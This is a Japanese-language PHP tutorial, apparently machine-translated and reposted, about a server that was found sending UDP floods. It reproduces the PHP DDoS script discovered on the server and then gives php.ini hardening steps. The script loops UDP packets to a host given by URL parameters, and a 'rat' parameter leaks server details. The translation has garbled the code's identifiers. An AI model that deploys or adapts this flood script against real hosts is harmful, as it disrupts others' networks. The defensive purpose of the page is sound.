ホームページ > バックエンド開発 > PHPチュートリアル > php ddos​​ 攻撃の解決策、php ddos​​ 攻撃_PHP チュートリアル

php ddos​​ 攻撃の解決策、php ddos​​ 攻撃_PHP チュートリアル

WBOY
リリース: 2016-07-13 10:10:07
オリジナル
1336 人が閲覧しました

php ddos​​攻撃ソリューション、phpddos攻撃

この記事の例では、PHP での Ddos 攻撃の解決策について説明します。参考のためにみんなで共有してください。具体的な分析は次のとおりです:

今日、私のマシンの 1 つが突然、1 秒あたり 1G を超える可能性のある大量のデータ パケットを外部に送信しました。UDP パケットを禁止するポリシーを使用していましたが、送信することはできませんでしたが、時間がかかりました。カップが多かったので、ついに解決する方法を見つけました。

まずソースコードを見てください。コードは次のとおりです:


コードをコピーします コードは次のとおりです:
set_time_limit(999999); $host = $_GET['ホスト']
$ポート = $_GET['ポート']
$exec_time = $_GET['時間']
$センドレン = 65535
$パケット = 0; 無視_ユーザー_中止(真)

if (StrLen($host)==0 または StrLen($port)==0 または StrLen($exec_time)==0){
If (StrLen($_GET['rat'])<>0){
echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE' ].$_GET['ネズミ']
; 出る
                                                                               echo "パラメータを空にすることはできません!"; 出る
}

for($i=0;$i $out .= "A"; }

$max_time = time()+$exec_time

while(1){
$パケット++
If(time() > $max_time){
休憩
}
$fp = fsockopen("udp://$host", $port, $errno, $errstr, 5); if($fp){
fwrite($fp, $out); fclose($fp); }
}

echo "送信ホスト:$host:$port

"; echo "送信フロー: $packets * ($Sendlen/1024=" .round($Sendlen/1024, 2) . ")kb / 1024 = " .round($packets*$Sendlen/1024/1024, 2) " mb

";
echo "送信速度:" .round($packets/$exec_time, 2) .round($packets/$exec_time*$Sendlen/1024/1024, 2) . ?>


キーコードは次のとおりです:




コードをコピーします

コードは次のとおりです:
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);

方法は非常に簡単です。UDP パケットをターゲット ホストに送信し、無限ループを定義します。これにより、より大きな圧力がかかります。
このスクリプトを実行するサーバーは最初に独自のネットワーク帯域幅、CPU、その他のリソースを大量に消費するため、この負荷がかかります。このスクリプトを使用してターゲット サイトに負荷をかける場合は、スクリプトを実行する必要があります。 、DDOS では、fsockopen は外部リクエストのリクエストに使用されるため、リクエストは許可されません。
php.iniにを設定します。コードは次のとおりです:
コードをコピーします

コードは次のとおりです:

allow_url_fopen = Off

この方法でもパッケージを送信できる場合、コードは次のようになります:

拡張子=php_sockets.dll

に変更されました

;拡張子=php_sockets.dll

APACHE、IIS、NGINX を再起動して、PHP DDOS がパッケージを送信しないようにします。

さらに、一部のネチズンは、スクリプトを無効にしてタイムアウトしないように設定するのは非常に簡単だと言いました:

1. set_time_limit 関数を無効にする

2. PHP のセーフ モードを有効にします (safe_mode=on)。

ソケット関数を無効にすると、すべてのソケット モジュールを直接無効にするか、fsockopen 関数を無効にすることができます。ソケットはパスワードを取得するためにメールを送信するためによく使用されるため、この場合はセーフ モードを直接有効にすることをお勧めします。スクリプトは 30 秒ごとにタイムアウトします。30 秒ごとにクリックして DDOS を起動するほど孤独な「ハッカー」はいないと推定されています。

経験:

この種の問題は通常、Webサイトのセキュリティとサーバーのセキュリティに注意を払う必要があり、macofeeの使用方法を知っていれば簡単に侵入されなくなります。 、一部のウェブサイトを制限した方が良いでしょう。 この記事で説明した内容が皆様の PHP プログラミング設計に役立つことを願っています。

http://www.bkjia.com/PHPjc/939403.html

www.bkjia.comtru​​ehttp://www.bkjia.com/PHPjc/939403.html技術記事 php ddos​​ 攻撃の解決策、php ddos​​ 攻撃 この記事では、php ddos​​ 攻撃の解決策を例とともに説明します。参考のためにみんなで共有してください。具体的な分析は次のとおりです。 今日、私のマシンの 1 台が突然...
関連ラベル:
ソース:php.cn
このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
最新の問題
人気のチュートリアル
詳細>
最新のダウンロード
詳細>
ウェブエフェクト
公式サイト
サイト素材
フロントエンドテンプレート